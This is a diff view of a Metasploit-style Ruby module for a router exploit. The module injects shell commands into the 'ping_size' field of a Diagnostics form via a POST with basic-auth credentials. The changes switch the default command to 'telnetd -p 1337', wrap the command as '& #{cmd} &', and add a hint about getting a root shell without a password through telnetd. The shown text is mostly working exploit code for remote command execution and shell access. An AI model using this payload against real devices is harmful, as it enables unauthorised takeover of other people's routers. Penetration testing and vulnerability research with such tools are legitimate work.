@@ -23,7 +23,8 @@ def initialize(info = {})
23
23
not see any output of your command. Try a ping command to your local system for a
24
24
first test.
25
25
26
- Hint: To get a remote shell you could upload a cross-compiled netcat binary and exec it.
26
+ Hint: To get a remote shell you could start telnetd and touch /etc/group. Use the
27
+ user root without a password for accessing the device.
27
28
} ,
28
29
'Author' => [ 'm-1-k-3' ] ,
29
30
'License' => MSF_LICENSE ,
@@ -35,14 +36,13 @@ def initialize(info = {})
35
36
[ 'OSVDB' , '89912' ] ,
36
37
[ 'BID' , '57760' ]
37
38
] ,
38
- 'DefaultTarget' => 0 ,
39
39
'DisclosureDate' => 'Feb 05 2013' ) )
40
40
41
41
register_options (
42
42
[
43
43
OptString . new ( 'USERNAME' , [ true , 'User to login with' , 'admin' ] ) ,
44
44
OptString . new ( 'PASSWORD' , [ true , 'Password to login with' , 'password' ] ) ,
45
- OptString . new ( 'CMD' , [ true , 'The command to execute' , 'ping 127.0.0.1 ' ] )
45
+ OptString . new ( 'CMD' , [ true , 'The command to execute' , 'telnetd -p 1337 ' ] )
46
46
] , self . class )
47
47
end
48
48
@@ -90,15 +90,14 @@ def run
90
90
'uri' => uri ,
91
91
'method' => 'POST' ,
92
92
'authorization' => basic_auth ( user , pass ) ,
93
- 'encode_params' => false ,
94
93
'vars_post' => {
95
94
"submit_button" => "Diagnostics" ,
96
95
"change_action" => "gozila_cgi" ,
97
96
"submit_type" => "start_ping" ,
98
97
"action" => "" ,
99
98
"commit" => "0" ,
100
99
"ping_ip" => "1.1.1.1" ,
101
- "ping_size" => "%26 #{ cmd } %26 " ,
100
+ "ping_size" => "& #{ cmd } & " ,
102
101
"ping_times" => "5" ,
103
102
"traceroute_ip" => ""
104
103
}
0 commit comments